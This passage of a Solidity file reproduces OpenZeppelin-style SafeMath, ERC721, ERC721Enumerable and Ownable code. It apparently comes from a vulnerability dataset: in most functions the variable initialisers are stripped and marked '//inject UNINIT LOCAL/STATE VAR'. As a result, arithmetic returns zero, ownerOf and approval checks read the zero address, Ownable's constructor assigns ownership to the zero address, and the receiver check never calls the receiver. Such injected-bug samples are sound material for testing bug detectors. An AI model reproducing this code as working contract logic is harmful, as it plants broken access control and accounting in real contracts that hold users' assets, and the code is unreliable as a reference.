* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash ; //inject UNINIT LOCAL/STATE VAR
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner ; //inject UNINIT LOCAL/STATE VAR
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner ; //inject UNINIT LOCAL/STATE VAR
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner ; //inject UNINIT LOCAL/STATE VAR
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner ; //inject UNINIT LOCAL/STATE VAR
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval ; //inject UNINIT LOCAL/STATE VAR
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 tokenIndex ; //inject UNINIT LOCAL/STATE VAR
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId ; //inject UNINIT LOCAL/STATE VAR
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 tokenIndex ; //inject UNINIT LOCAL/STATE VAR
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId ; //inject UNINIT LOCAL/STATE VAR
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender ; //inject UNINIT LOCAL/STATE VAR
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* Modified to remove the mint function and to replace it
* with the _addTokenTo function.
* This function is very similar to the _mint function, but it
* does not emit a Transfer event
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract NoMintERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner ; //inject UNINIT LOCAL/STATE VAR
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner ; //inject UNINIT LOCAL/STATE VAR
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
